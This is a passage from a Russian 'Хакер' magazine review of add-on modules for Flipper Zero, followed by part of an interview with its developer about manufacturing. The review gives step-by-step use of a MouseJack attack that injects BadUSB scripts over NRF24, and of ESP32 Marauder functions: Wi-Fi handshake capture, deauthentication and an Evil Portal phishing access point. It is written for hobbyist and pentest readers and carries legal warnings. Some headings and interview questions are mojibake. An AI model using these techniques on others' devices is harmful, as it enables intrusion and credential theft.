любят во всем покопать ся сами. Раз работ- 
чики об этом прек расно зна ли и при ложи ли
к «Флип перу» его пол ные схе мы, исходный
код про шив ки и при ложе ний и весь необ- 
ходимый инс тру мен тарий. Сооб щес тво
это оце нило и ста ло соз давать не толь ко
прог раммы, но и кас томные модули
для Flipper Zero. О них и погово рим сегод- 
ня.

«Хакер» уже неод нократ но писал о Flipper Zero:
о его соз дании читай в статье «

», об аль тер- 
натив ных про шив ках, которые тебе при годят ся
при работе с кас томны ми модуля ми, — в статье
«

», об опы те боево го
при мене ния — в матери але «

».

В гос тях у Дани.
Павел Жов нер о проб лемах раз работ ки, новом
мар кет плей се и сле дующем Flipper

Аль тер натив ные про шив ки Flipper Zero. Выбира- 
ем апгрейд для тво его Flipper

Бо евой дель фин. Что
я успел нат ворить за месяц с Flipper Zero

На одном толь ко Tindie сей час дос тупно 85 раз ных модулей для нашего
кибер дель фина, и их чис ло пос тоян но рас тет. Кро ме Tindie, мно гие рус ско- 
гово рящие авто ры тор гуют в про филь ных чатах через Telegram и Discord.
В целом чис ло дос тупных модулей дос тига ет при мер но сот ни.

Я при обрел нес коль ко модулей, показав шихся мне инте рес ными, —
в основном про изводс тва Rabbit Labs — и делюсь резуль татами их тес- 
тирова ния.

Не кото рые из этих модулей будут в сегод няшнем обзо ре

Кро ме того, некото рые модули мож но сде лать самос тоятель но. Три таких я
тоже покажу в статье.

Поч ти все модули в сегод няшнем обзо ре работа ют, толь ко если на тво ем
Flipper Zero уста нов лена неофи циаль ная про шив ка. Я рекомен дую Unleashed,
как самую про рабо тан ную и ста биль ную, но сго дит ся и XFW, и даже
RogueMaster (с которым свя зывать ся катего ричес ки не совету ют вооб ще ни в
каких целях). Если модуль работа ет на офи циаль ной про шив ке — об этом
будет написа но допол нитель но.

Преж де чем мы нач нем, хочу пре дос теречь
от вре дитель ства и откро вен ной уго лов щины.
Если за игры с телеви зора ми в ТЦ тебе, ско рее
все го, вооб ще ничего не будет, то перех ват чужих
дан ных и зараже ние вре донос ными прог рамма ми
однознач но под пада ют под соот ветс тву ющие
статьи УК тво ей стра ны. Вся информа ция пре дос- 
тавле на исклю читель но в обра зова тель ных целях
для про фес сиональ ных иссле дова телей безопас- 
ности, которые будут при менять ее при тес- 
тирова нии на про ник новение с догово ром и раз- 
решени ем заказ чика. Соб людай законы!

ÇÂÅÇÄÀ ÑÌÅÐÒÈ

  (28 дол ларов)Ãäå êóïèòü: Tindie
Пор татив ная «Звез да смер ти» пусть и не поз воля ет унич тожать целые пла- 

неты с помощью «Флип пера», но доволь но эффектив но зах ватыва ет кон троль
над  раз нооб разным обо рудо вани ем с ИК-управле нием.ба зами пов стан цев

Вид спе реди, ГОСТ 2.305—2008

Для работы модуля нуж но вклю чить 5 В на GPIO-гре бен ке в нас трой ках (GPIO
→ 5V on GPIO → ON) и отла доч ный режим (Settings → System → Debug →
ON). На пос ледней вер сии Unleashed отла доч ный режим вклю чать уже ста ло
не обя затель но.

Мо дули для Flipper Zero могут работать от раз ных нап ряжений. Боль шинс тво
работа ют от 3,3 В, но для под клю чения такого модуля при дет ся задей ство- 
вать широкую гре бен ку (на кар тинке — в ниж ней час ти), потому что толь ко
в ней есть соот ветс тву ющий выход.

Мо дули под нап ряжение 5 В мож но целиком под клю чить в корот кую гре бен ку
(на кар тинке свер ху), что поз воля ет делать их более ком пак тны ми
при исполь зовании встро енно го понижа юще го ста били зато ра
с 5 на 3,3 В (если модулю нуж но 3,3 В), а еще это поз воля ет запиты вать
модуль от зна читель но менее шум ного источни ка питания, чем встро енная
линия +3,3 В «Флип пера». Поэто му вари анты модулей на 5 В пред почти тель- 
ней, и по воз можнос ти я буду рас смат ривать имен но их, хотя для работы
с ними поч ти всег да нуж но вклю чать пятиволь товый выход вруч ную
перед каж дым исполь зовани ем.

Пос ле про делан ных манипу ляций све тоди од на перед ней сто роне сооб щит
о готов ности к выс тре лу. Мож но откры вать любой пульт и поль зовать ся
как обыч но. Но имей в виду, что сами ИК-диоды рас положе ны на спи не
модуля, то есть для наведе ния на при нима ющее устрой ство (телеви зор, про- 
ектор или кон дици онер, к при меру) нуж но нап равлять Flipper Zero зад ней сто- 
роной в нап равле нии при емни ка, что не очень удоб но. Решение в целом
не слиш ком удоб ное, потому что без надеж ного и жес тко го креп ления
к самому «Флип перу» очень лег ко задеть что-нибудь тор чащим из кор пуса
модулем и отло мать его.

Еще одна проб лема, которая прес леду ет поч ти все внеш ние ИК-модули,
зак люча ется в том, что если дос тать модуль и вста вить обратно, то 5 В на
внеш ней гре бен ке про пада ют и нуж но вый ти из режима пуль та, вклю чить 5 В в
нас трой ках и заново про лезть через четыре хуров невый выбор нуж ного пуль- 
та. Пос коль ку недора бот ка аппа рат ная, испра вить ее прог рам мным путем
прак тичес ки невоз можно. Защита отклю чает модуль 5 В из-за слиш ком боль- 
шой емкости кон денса торов в цепи питания, при заряд ке которых рез ко воз- 
раста ет ток, и «Флип пер» счи тает, что под клю чен ное устрой ство неис прав но.

Для тес тирова ния я выб рался в далекое от цивили зации мес то, пос тавил
в поле про ектор и пошел про верять даль ность. Ста биль ное управле ние ока- 
залось воз можно на рас сто янии 35 м (или 43 шага по моему изме рению).

Еще уда лось получить вот такой модуль в кор пусе и с лин зой.

Кор пус мак сималь но прос той и отпе чатан на 3D-прин тере FDM, но дер жится
нор маль но и нарека ний не вызыва ет. Я его разоб рал и обна ружил, что
модуль внут ри сто ит точ но такой же, даже Звез да смер ти на мес те.

Ку пить кор пус мож но отдель но на  (80 зло- 
тых).

Etsy

А вот резуль таты тес тирова ния разоча рова ли. Я наде ялся, что лин за поможет
фокуси ровать излу чение и модуль будет добивать даль ше, но его даль ность
сос тавила все го 35 шагов (око ло 28 м), что поч ти на 20% мень ше. Зато
попасть по при емни ку с ней ока залось куда про ще: видимо, лин за рас- 
сеивающая, а не собира ющая. Впро чем, в сен тябре 2023 года дол жна вый ти
новая вер сия модуля с регули руемой лин зой, которая все же поможет
фокуси ровать луч для уве личе ния даль нобой нос ти.

Мо дуль в кор пусе оставля ет еще и мень ше мес та для чех ла, так что если
твой дель фин одет, то модуль со сво им кор пусом может не подой ти. Но это
лишь мое пред положе ние, потому что у меня чех ла нет.

У обе их вер сий модуля заяв лена защита от неп равиль ной поляр ности, так
что я рис кнул одним из них и поп робовал вста вить неп равиль ной сто роной
(пра виль ная — это ког да луч смер ти бьет тебе пря мо в глаз). Ничего не сго- 
рело, а модуль, ког да я его перес тавил пра виль но, про дол жил работать
как ни в чем не бывало. При этом никакой инди кации неп равиль ного под клю- 
чения на модуле нет, из-за чего мож но сна чала подумать, что он неис пра вен.

ÈÊ-ÁËÀÑÒÅÐ

:  (43 дол лара)Ãäå êóïèòü Tindie

По про моко ду  ты получишь скид- 
ку 10% на боль шинс тво товаров в магази не
TehRabbitt. Код дей ству ет до 15 октября и может
быть исполь зован толь ко один раз на челове ка.
Огра ниче ний на сум му заказа нет.

FAB7E18D

Это еще один ИК-модуль того же раз работ чика, что и пре дыду щие. Отли чает- 
ся он фор мой, мощ ностью и воз можностью отклю чить инди катор ный све- 
тоди од.

Из-за угло вого рас положе ния кон тактов этот модуль мож но вот кнуть
во «Флип пер» и исполь зовать, нап равляя впе ред «головой», а не «спи ной».
Инди катор ный све тоди од, который из «Звез ды смер ти» све тил пря мо в глаз,
как бы угро жая сжечь, теперь све тит в дру гую сто рону, а перек лючатель поз- 
воля ет вооб ще его отклю чить, что бы не мешал.

Слу чай но задеть и отло мать этот модуль тоже зна читель но слож нее, чем
пре дыду щие: он проч но сидит в гнез дах GPIO и никуда не выпира ет, да и
при исполь зовании его мож но дер жать куда удоб нее и безопас нее.

Что каса ется даль нос ти, то тут она сос тавила уже вну шитель ные 52 шага,
то есть око ло 42 м. Это на 33% боль ше, чем у модуля с лин зой, или на 17%
боль ше, чем у его вари анта без лин зы.

Кста ти, при тес тирова нии в помеще нии я выяс нил инте рес ную под- 
робность: на рас сто янии мет ров до двад цати вооб ще нет раз ницы, в какую
сто рону нап равле ны диоды модуля. Все прек расно работа ло, даже если сто- 
ять спи ной к про екто ру и све тить в про тиво полож ную сто рону. Подоз реваю,
что это может быть как-то свя зано с белыми сте нами зала, в котором я был,
но впе чат ление о модуле оста лось исклю читель но положи тель ное.

NRF24

:  (45 дол ларов),  (70 руб лей — осно ва

для самодель ного вари анта)

Ãäå êóïèòü Tindie AliExpress

Это один из нем ногих модулей, которые мож но сде лать самому, а еще он
работа ет с офи циаль ной про шив кой.

Ну жен этот модуль для того, что бы ата ковать уяз вимые бес про вод ные кла- 
виату ры и мыши, исполь зующие NRF24 для переда чи дан ных. Модуль поз-
воля ет при дол жном везении запус тить по воз духу на целевой машине скрипт
BadUSB, что прев раща ет Flipper в мощ ное ору жие, пусть и с мно жес твом
огра ниче ний.

 мож но най ти на том
же сай те, где и была  эта ата ка.
Демонс тра цию смот ри .

Спи сок уяз вимых устрой ств
впер вые опи сана

на YouTube

Что бы про вес ти ата ку, нуж но най ти канал, где про жива ет уяз вимое устрой- 
ство, с помощью при ложе ния Scanner (все при ложе ния для этой ата ки
находят ся в катало ге Apps → GPIO). Затем запоми наем адрес устрой ства,
откры ваем при ложе ние Mouse Jacker, выбира ем скрипт BadUSB, который
хотим выпол нить, и запус каем код. Пол ную демонс тра цию ата ки мож но пос- 
мотреть .на YouTube

Скрин шот из видео авто ра ата ки

Ата ка воз можна потому, что уяз вимые устрой ства не шиф руют и не под- 
писыва ют пакеты, а при емный свис ток, который под клю чает ся к компь юте ру,
сле по эму лиру ет коман ды кла виату ры, даже если он шел с мышью. То есть
вся безопас ность такой сис темы стро ится на том, что ник то не дол жен знать
адрес уяз вимого устрой ства, хотя тот лег ко находит ся сниф фером
с помощью модуля за пол долла ра.

Са модель ный вари ант

Ес ли не хочет ся покупать готовый модуль, а руки чешут ся, мож но соб рать
вре мен ную конс трук цию из про водов и китай ско го вари анта с «Али Экс прес- 
са». Работать будет при мер но так же, но пот ребу ет зна читель но боль ше мес- 
та, и подел ка будет питать ся от куда более шум ной линии 3,3 В, тог да как в
покуп ном есть свой ста били затор.

Са модель ный модуль в ходе всех этих экспе римен тов я в кон це кон цов
спа лил, перепу тав поляр ность питания. Имей в виду мой опыт и будь осто- 
рожен: голые модули не име ют защиты от перепо люсов ки. Впро чем, у покуп- 
ного тоже никаких защит ных диодов я не нашел, поэто му тес тировать в таком
режиме я его не стал. Дол жен же у меня остать ся хоть один рабочий модуль.

ÌÎÄÓËÜ-ÏÅÐÅÕÎÄÍÈÊ

Ãäå êóïèòü:  (21 äîë ëàð)Tindie

Са ма по себе пла та никакой полез ной наг рузки не несет. Это поч ти что
пас сивный переход ник для под клю чения дру гих модулей, который поз воля ет
быс тро извле кать их. Так же он обес печива ет допол нитель ные 3,3 В на
малень кую гре бен ку спра ва и поз воля ет не унич тожать встро енные кон такты
внут ри Flipper Zero. Я это счи таю полез ным, потому что под клю чать раз ные
при сад ки мне при ходит ся весь ма час то. Но учти, что у меня нет чех ла
для «Флип пера», а с чех лом этот модуль совер шенно не сов местим.

Кро ме обыч ных пятиволь товых модулей, мож но под клю чать и китай ские вро- 
де CC1101. И конеч но, попино во сов пада ющий с ним NRF24 тоже прек расно
работа ет с таким переход ником.

NRF24, под клю чен ный через переход ник

Ес ли хочет ся мак сималь но сэконо мить и иметь не толь ко CC1101, но и NRF24,
то это отличный вари ант. Сум марно вмес те с переход ником все они обой дут- 
ся где-то в 30 дол ларов, что дешев ле самого прос того модуля
CC1101 в отдель ном исполне нии. Но это без уче та сто имос ти дос тавок,
с которой, ско рее все го, выгода будет уже не столь оче вид на.

ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ

:  (40 дол ларов) /  (2000 руб лей)Ãäå êóïèòü Tindie пря мой заказ в РФ

По про моко ду  ты получишь скид ку 5%
на заказ модуля через Tindie. Код дей стви телен
до 31 октября и может быть исполь зован толь ко
один раз на челове ка.

XAKEP5

Внеш ний ради омо дуль CC1101 дела ет то же самое, что и ана логич ный чип
внут ри самого Flipper Zero, но дела ет это куда луч ше. За счет рас положе ния
сна ружи, внеш ней антенны, боль шего уси ления и менее шум ного питания
даль ность при ема сиг нала уда лось уве личить с 12 м до при мер- 
но 65 с антенной-коротыш кой, как на фотог рафии.

Продолжение статьи →
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https://www.etsy.com/listing/1518916819/protective-case-for-ir-blaster-by-rabbit?crt=1&sts=1
https://www.tindie.com/products/tehrabbitt/the-masta-blasta-ir-blaster-by-rabbit-labs/
https://www.tindie.com/products/tehrabbitt/flipper-zero-5v-nrf24-miniboard-by-tehrabbitt/
https://www.aliexpress.com/item/32280738812.html
https://www.bastille.net/research/vulnerabilities/mousejack/affected-devices
https://www.bastille.net/research/vulnerabilities/mousejack/technical-details
https://www.youtube.com/watch?v=C5hbyAjuU4k
https://www.youtube.com/watch?v=C5hbyAjuU4k
https://www.tindie.com/products/tehrabbitt/flipper-zero-5v-cc1101-hotswap-mb-by-tehrabbitt/
https://www.tindie.com/products/flipmodules/flipper-zero-external-cc1101-module/
https://docs.google.com/forms/d/e/1FAIpQLSfbhXca5-XIwFwkOztR4WZYErVimkQmfK7NACytC7Xc4s_SvA/viewform


ЧТО МОГУТ ВНЕШНИЕ МОДУЛИ ДЛЯ FLIPPER
ZERO

COVERSTORY  НАЧАЛО СТАТЬИ←

Этот модуль пол ноцен но под держи вает ся даже офи циаль ной про шив кой.
Одна ко с таким радио мож но гораз до боль ше сде лать в Unleashed и его фор- 
ках — там под дер жку реали зуют сами авто ры модулей и новые фун кции появ- 
ляют ся быс трее и работа ют луч ше.

Ну жен этот модуль еще и для того, что бы под клю чать внеш ние антенны
(сам Flipper Zero такой воз можнос ти лишен). С этим и был свя зан один
из моих тес тов: если со штат ной антенной даль ность при ема не дотяги вала
даже до 70 м, то с диполь ной антенной из Китая получи лось при нять сиг нал
с рас сто яния в 350 м! Такого резуль тата уда лось добить ся даже не сов сем
в пря мой видимос ти (меж ду передат чиком и при емни ком пос тоян но езди ли
машины) пря мо в цен тре Вар шавы, где пол но раз нооб разных помех.

Тес тировал все ради омо дули я вот на таком пуль те от под свет ки компь -
юте ра

Для исполь зования дос таточ но под клю чить модуль к Flipper Zero, зай ти
в меню SubGHz → Radio Settings и уста новить пункт Module в External. Теперь
при наличии под клю чен ного внеш него модуля во всех при ложе ниях будет
работать имен но внеш ний, а при его отсутс твии — внут ренний. При этом
вруч ную ничего нас тра ивать уже не нуж но. Магия!

Мо дуль опти мизи рован для работы на час тоте 433 МГц, и его не сто ит
исполь зовать для силь но более высоких час тот. Говорят, с род ной антенной
внеш ний модуль хорошо работа ет на 315 и 443 МГц, а на 868 МГц его
эффектив ность даже хуже, чем у «Флип пера» без внеш него модуля вооб ще.
Спра вед ливос ти ради, ина че как на 315 или 443 МГц я никог да ничего и не
ловил.

Са мо собой, есть и вари ант «для бед ных» с под клю чени ем китай ско го
модуля про вод ками и исполь зовани ем линии +3,3 В.

Схе ма под клю чения

И еще один вари ант — под клю чить такой же китай ский модуль в переход ник,
который я упо минал выше. Оста нав ливать ся на этом вари анте мы не будем.

ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ ÍÀ 900 ÌÃÖ

:  (22 дол лара)Ãäå êóïèòü Tindie

Глав ная проб лема пре дыду щего модуля зак люча ется в том, что он соз- 
давал ся с при целом на работу на час тоте 443 МГц и близ ких (нап ример,
315 МГц). Но что, если нуж но работать в вер хней час ти под держи ваемо го
СС1101 диапа зона? Час тоты 868 и 915 МГц, где про жива ет немалое количес- 
тво устрой ств, «Флип пером» поч ти не пок рыты, и такой модуль приз ван
испра вить эту проб лему. Обвязка чипа и стро ение пла ты спе циаль но опти- 
мизи рова ны на работу на высоких час тотах и поз воля ют сни зить шум
и повысить эффектив ность. Сам чип вооб ще умес тился под метал личес ким
экра ном, который защища ет его от наводок.

Фо тог рафия взя та со стра ницы товара

До пол нитель но модуль снаб жен разъ емом SMA для под клю чения более мощ- 
ной антенны на слу чай, если она вдруг тебе понадо бит ся.

Мо дуль попино во сов местим с дру гими реали заци ями CC1101, что поз- 
воля ет исполь зовать его с адап терами дру гих про изво дите лей или прос то
запих нуть в модуль-переход ник, что я и сде лал.

В тем ноте такая конс трук ция кра сиво све тит ся!

Ко неч но, я не мог его не потес тировать. Даль ность со все тем же пуль том
из прош лого тес та и антенной на 433 МГц от того же модуля (антенны
на 900 МГц у меня нет, да и устрой ств в этом диапа зоне тоже, но у модуля
заяв лена под дер жка 443 МГц, так что ее мы и про верим) сос тавила при мер- 
но 57 м, а с диполь ной антенной — уже вну шитель ные 170 м. Видимо, отли- 
чие в два раза по срав нению с модулем, пред назна чен ным для 443 МГц, дей- 
стви тель но свя зано с неоп тималь ной обвязкой имен но для это го диапа зона.

Мне уда лось погово рить с TehRabbitt — авто ром час ти модулей из сегод- 
няшне го обзо ра. Сре ди про чего он анон сировал про качан ную вер сию ради- 
омо дуля на 443 МГц, новый вари ант ИК-блас тера, нес коль ко вари антов Wi-Fi-
плат на базе ESP32 (о том, как сде лать свою такую здесь и сей час, я рас ска жу
ниже), адап тер для исполь зования Flipper Zero как мос та для RS232 и про ект
бес про вод ной эму ляции раз нооб разных USB-устрой ств (как он будет
работать — загад ка даже для меня). А еще TehRabbitt выдал мне про мокод,
при веден ный во врез ке выше. Кста ти, если статья пон равит ся читате лям, я
пос тара юсь раз добыть боль ше модулей и выпус тить еще одну часть. Сле ди
за новос тями!

ESP32 MARAUDER

Это очень клас сный модуль, который поз воля ет про водить ата ки на Wi-Fi. Его
осо бен ность в том, что в готовом к исполь зованию виде он встре чает ся очень
ред ко, а что бы его заполу чить, нуж но повозить ся с про шив кой, разоб рать ся
с нас трой ками и пос мотреть нес коль ко обу чающих видео.

Офи циаль ный Wi-Fi DevBoard

Ку пить под ходящую пла ту мож но пря мо в  Flipper Zero,
где она сто ит 29 дол ларов, но эко ном ные любите ли извра щений могут поис- 
кать у себя пла ты ESP32-WROOM (в сред нем 4 дол лара) или им подоб ные
и сде лать ана лог на колен ке. Я так и пос тупил.

офи циаль ном магази не

Пла ты ESP32 из Китая име ют разъ ем MicroUSB,
отыс кать под ходящий про вод для которо го я смог
далеко не сра зу. Как бы смеш но это ни зву чало,
но прос тое отсутс твие кабеля задер жало эту
статью на нес коль ко дней.

Так выг лядит ESP32-WROOM

Са мо собой, и на офи циаль ный модуль Wi-Fi, и на покуп ные (с того же Tindie),
и тем более на самодель ные модули нуж но уста новить под ходящую про шив- 
ку. Рань ше ее нуж но было ком пилиро вать для сво ей пла ты, что отсе кало
боль шую часть жела ющих поиг рать ся. Теперь же появил ся скрипт

, который авто мати чес ки ска чает и прошь ет под ходящий
бинар ник на твою пла ту. Раз ве что авто мати чес ки опре делять под клю чен ную
пла ту он не уме ет — при дет ся ему под ска зать.

FZEasyMarauderFlash

До пус тим, у тебя такой же модуль ESP32-WROOM, что и у меня, а работать
ты будешь в Windows. В таком слу чае тебе пот ребу ется ска чать 
для чипов CP210x, которые выпол няют роль мос та USB — UART для про шив ки
ESP32. Так же тебе понадо бит ся , который будет исполь зовать- 
ся для ска чива ния бинар ников про шив ки во вре мя работы уста нов щика,
и  с pip.

драй вер

Git for Windows

Python
Те перь ска чивай  себе, уста нав ливай зависи мос ти (

) и под готовь ся запус кать сам скрипт (набери
в кон соли , но пока не выпол няй).

ре пози торий pip 
install -r requirements.txt

python EasyInstall.py
Нуж но зажать кноп ку  на пла те, в таком виде под клю чить ее к компь- 

юте ру, отпустить кноп ку и запус тить скрипт. Если все прош ло хорошо, пой дет
ска чива ние бинар ников и ты уви дишь меню, как на кар тинке ниже.

BOOT

Те перь выбирай свою модель пла ты (под держи вает ся даже офи циаль ный Wi-
Fi DevBoard) — в моем слу чае это 5. Если драй вер уста нов лен пра виль но,
про шив ка пой дет сра зу.

Про цесс про шив ки пла ты

В кон це дол жно появить ся сооб щение об успешной про шив ке.

Ес ли пос ле него вывали вают ся какие-то допол нитель ные ошиб ки — их мож но
игно риро вать, пла та уже про шита и будет работать нор маль но.

Те перь отклю чаем пла ту от компь юте ра и под клю чаем к «Флип перу»
по сле дующей схе ме:

 со сто роны ESP32 — к  (кон такт 13) Flipper Zero;• RX0 TX

 со сто роны ESP32 — к  (кон такт 14) Flipper Zero;• TX0 RX

 обо их устрой ств объ еди няем;• GND

 пла ты под клю чаем к  (кон такт 9) «Флип пера».• 3V3 3V3

Ес ли все сде лано пра виль но, загорит ся  крас ный инди- 
катор ный све тоди од.

Flipper в тво их руках

Те перь мож но запус кать при ложе ние ESP32 Marauder, которое в пос- 
ледней вер сии Unleashed лежит в пап ке GPIO, и начинать тво рить непот ребс- 
тва. Мож но, нап ример, вклю чить генера тор приз рачных сетей.

Са мо собой, SSID могут быть не толь ко слу чай ными, но и из задан ного спис- 
ка.

Мож но зах ватывать хен дшей ки для даль нейше го взло ма пароля (фун кция
Sniff), мож но при нуди тель но деаутен тифици ровать кли ентов, что бы они
не мог ли под клю чить ся, мож но под нять точ ку дос тупа с тре бова нием авто- 
риза ции через фишин говый пор тал... То есть, конеч но, мож но все это в рам- 
ках экспе римен та со сво ими устрой ства ми или тес та на про ник новение, про- 
води мого по кон трак ту, а в осталь ных слу чаях — не сто ит.

Evil Portal в дей ствии, фото с Reddit

Ес ли же ты начина ющий пен тестер, то воз можнос ти откры вают ся огромные.
Фак тичес ки это неп лохая и дешевая замена некото рым извес тным решени ям
для атак на бес про вод ные сети. Раз ве что инс трук ций по поль зованию этим
всем мало и порог вхо да из-за это го повыше.

ÈÒÎÃÈ

Flipper Zero, хоть иног да и вос при нима ется серь езны ми пен тесте рами
как игрушка, уже обза вел ся мно жес твом модулей на мно гие слу чаи жиз ни.
В этот обзор не попали модули для работы с маг нитны ми полоса ми карт,
камеры, фран кен штей ны из нес коль ких модулей, но все это в изо билии дос- 
тупно в интерне те.

Хо телось бы поб лагода рить клас сных людей JustCallMeKoKo, TehRabbitt,
Dr.B0rk, quen0n и AWOK за боль шой вклад в сооб щес тво Flipper Zero. Бла- 
года ря этим людям у нас и появи лось то, за что мы любим «Флип пер».

Грус тный же момент сос тоит в том, что всех мас тей тик ток-хакеры пос- 
тоян но пор тят репута цию устрой ству, из-за чего оно попада ет под зап реты
во все новых стра нах и нор маль ные иссле дова тели безопас ности (да и прос- 
то гики) уже не могут получить его так прос то. Тем не менее это все еще воз- 
можно, так что пред лагаю нас ладить ся той сво бодой, которая нам пока дос- 
тупна. Hack the Planet!

https://www.tindie.com/products/tehrabbitt/rabbit-labs-cc1101-900mhz-module/
https://shop.flipperzero.one/products/wifi-devboard
https://github.com/SkeletonMan03/FZEasyMarauderFlash
https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers?tab=downloads
https://gitforwindows.org/
https://www.python.org/downloads/
https://github.com/SkeletonMan03/FZEasyMarauderFlash
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Па вел Жов нер с коман дой раз работ чиков
соз дали зна мени тый хакер ский муль титул
Flipper Zero. Его про изводс тво и рас- 
простра нение были соп ряжены с мас сой
слож ностей и вол нитель ных момен тов.
В этом интервью Павел рас ска зал Дане
Шепова лову о том, как это было, и сде лал
два важ ных анон са: о запус ке магази на
при ложе ний для Flipper и начале работы
над стар шей моделью — Flipper One.

Не забудь под писать ся на телег рам-канал Дани
Шепова лова « », что бы не про пус- 
кать новые автор ские матери алы, и заг лядывай
на .

Ве чер ний Даня

danya.ru

— Âñå ñìîòðÿò íà òåáÿ è äóìàþò: íàäî, êàê Ïàøà, íàðèñîâàòü

êàêîé-íèáóäü äåâàéñ íà ëèñòå áóìàãè... Õîòÿ ïîäîæäè, äåâàéñû

æå íå íà áóìàãå, íàâåðíîå, ðèñóþòñÿ. Êàêîé âû ñîôò

èñïîëüçóåòå?

— Мы поль зуем ся очень мно го чем. Для трас сиров ки элек тро ники это в
основном Altium Designer. Плюс Altium 365 — это как GitHub, толь ко для «Аль- 
тиума» — там есть ком миты, вер сион ность, релизы. По час ти соф та — про- 
шив ка написа на на C. Внут ри коман ды каж дый исполь зует свою сре ду раз- 
работ ки. У нас  для сбор ки про шив ки. Для пла ниро вания
интерфей сов мы исполь зуем Miro, мы  об этом. Там же мож но
най ти про раз работ ку интерфей сов и гля нуть кра сивые май ндма пы из пик- 
сель ных экра нов. Мобиль ные при ложе ния у нас натив ные: для Android —
на Kotlin, для iOS — на Swift. Пром дизайн в CATIA дела ем. А так очень мно го
раз ного соф та исполь зуем...

своя сис тема
пи сали в бло ге

— Ïîëó÷àåòñÿ, âñå äóìàþò: íàäî íàðèñîâàòü â ñïåöñîôòå äåâàéñ,

çàïèëèòü åãî, ïðîäàòü ñòî ìèëëèîíîâ ýêçåìïëÿðîâ è óéòè ñ

çàâîäà. Íó à ÷òîáû çàâîäû íå îñòàíîâèëèñü, ðàññêàæè ïðî ñàìóþ

ñòðåìíóþ ñèòóàöèþ, ñâÿçàííóþ ñ Flipper Zero.

— Изна чаль но мы взя ли очень све жий чип STM32WB55, который не был
оттести рован: там в одном кам не сра зу и Bluetooth на вто ром ядре, и про цес- 
сор. И в какой-то момент мы обна ружи ли фаталь ный баг, который при водит
к аппа рат ному выгора нию переда юще го Bluetooth-трак та, пос ле чего камень
никог да не воз вра щает ся в рабочее сос тояние. И это был конец: мы
это обна ружи ли на поз днем эта пе, и нас эта проб лема отки нула на год.
Приш лось четыре месяца мучить ST, что бы они почини ли это. По дороге мы
наш ли какую-то авс тра лий скую ком панию, которая стол кну лась с той же
проб лемой. В ито ге пос ле всех наших просьб в ST при няли меры. Фикс обоз- 
начили как минор ный, но на самом деле это был кош марный баг. Пред ставь,
мы выпус тили бы устрой ство и через какое-то вре мя у всех лома ется
Bluetooth на физичес ком уров не!

— ×èïîâ âñåãäà õâàòàëî?

— Нет, конеч но. Ког да начал ся весь этот кол лапс с крем нием, у нас тупо
не было чипов, что бы что-то про изво дить. Мы прос то сидели какое-то вре мя
и ничего не делали. А потом еще ока залось, что чипов нет теперь для экра нов
и что наш пос тавщик экра нов не даст то количес тво, которое мы зап росили.
И вооб ще надо ждать, пока он пере ориен тиру ет линию на новый крис талл.
Мы прос то сидели и жда ли, пока это про изой дет. Попут но наш ли еще одну
фаб рику, которая делала нам экра ны.

— À ÷òî ñ àäîâûìè ïðîäàæàìè?

— В про дажах самое стрем ное — это сама дос тавка, осо бен но дос тавка в...
да вооб ще дос тавка — это жесть. То у нас арес товали кон тей нер, то унич- 
тожили груз, то «Флип перы» не пус кали куда-то. Самый дикий ад — все, что
свя зано с дос тавкой в Рос сию. СДЭК этот кош марный, потом арест гру за,
какие-то пос тоян ные проб лемы. Мы по трис та раз собира ли адре са для дос- 
тавки. Люди уже пере еха ли, начал ся весь этот геопо лити чес кий треш.
В общем, дос тавка — это самое ужас ное, с чем мы стол кну лись. Очень
тяжело было жить с ощу щени ем, что есть еще тысячи людей, которым
не прис лали их куп ленные устрой ства. Но сей час мы дос тавили всё, в том
чис ле и в Рос сии.

— Äîïóñòèì, òû ïåðåóáåäèë íå âñåõ. Êòî-òî ïî-ïðåæíåìó

íàìåðåí ñïðîåêòèðîâàòü ñîáñòâåííûé äåâàéñ è ïðîèçâåñòè åãî â

Êèòàå. Åñòü ñîâåòû è ëàéôõàêè?

— Тут в двух сло вах не отве тить. Это все рав но что отве чать на воп рос «А
какие бы ты советы дал тем, кто хочет пос тро ить восем надца тиэтаж ный
дом?». Это боль шая ком плексная работа. Очень важ но брать про фес сиона- 
лов и иметь кого-то с опы том реаль ных дел. Очень мно го людей, гораз дых
бол тать, но нас тоящий показа тель — это реаль ный трекшн, реаль ный про- 
дукт, реаль ные закон ченные дела.

Мне кажет ся, прос то так не сто ит лезть в про изводс тво устрой ств. Мож но
поп робовать, конеч но, но нуж но знать, что это край не рис кован но, и нуж но
знать спе цифи ку китай цев. Вооб ще у нас в Китае живет часть нашей рус ско- 
гово рящей коман ды, они говорят и на китай ском тоже. Поэто му у нас такие
теп лые отно шения с завода ми, пос тавщи ками и дру гими китай ски ми пар тне- 
рами. Получа ется, что если ты можешь пос тро ить такую связь, то мож но про- 
бовать.

— Òèïà ÷åëîâåê ïîñåëÿåòñÿ â Øýíü÷æýíå, èùåò ïîñòàâùèêîâ è

ïîäðÿä÷èêîâ, òîðãóåòñÿ ñ íèìè, ïîòîì òðàãåäèè ñ áðàêîâàííûìè

ïàðòèÿìè è âñÿêîå òàêîå?

— У нас не сов сем такой слу чай, у нас уже до это го был опыт про изводс тва,
и люди из топ-менед жмен та находят ся в Китае. Они зна ют язык и пог ружены
в китай скую куль туру. Рань ше ведь мы занима лись про изводс твом устрой ств
как кон трактной раз работ кой для дру гих ком паний, то есть была пач ка
нарабо тан ных кон тактов и под рядчи ки на при мете. Есть лить евые фаб рики,
которые льют плас тик, есть про изво дите ли элек тро ники, есть нес коль ко фаб- 
рик, на которых мы тес тиру ем что-то, печата ем тес товые «гряз ные» писиби хи
(PCB — printed circuit board, печат ная схе ма).

Но вряд ли быва ет так, что человек при ехал и прос то начина ет оби вать
пороги и пыта ется догово рить ся на англий ском. Без какого-то опы та отно- 
шений ты выг лядишь стран но, потому что про изводс тво — это высокий риск.
Если прос то сту чать ся в две ри и говорить: «Давай те делать дела», то будешь
выг лядеть непонят ным бом жом. Пос тро ить линию — это ресур соем кий про- 
цесс, и фаб рика дол жна быть уве рена, что она отобь ет свои вло жения. Либо
ты им аван сиру ешь мно го денег, что бы они ста ли вос при нимать тебя серь- 
езно, либо нуж но убе дить как-то еще.

На вер ное, про ще все го под мазать ся к кому-то, кто уже наладил про цесс.
Порабо тать какое-то вре мя сов мес тно, наб рать кон такты. На самом деле
рынок в Китае очень неп розрач ный. Нап ример, как вка тить ся в раз работ- 
ку 1С, более-менее понят но, а что бы вка тить ся в про изводс тво элек тро ники
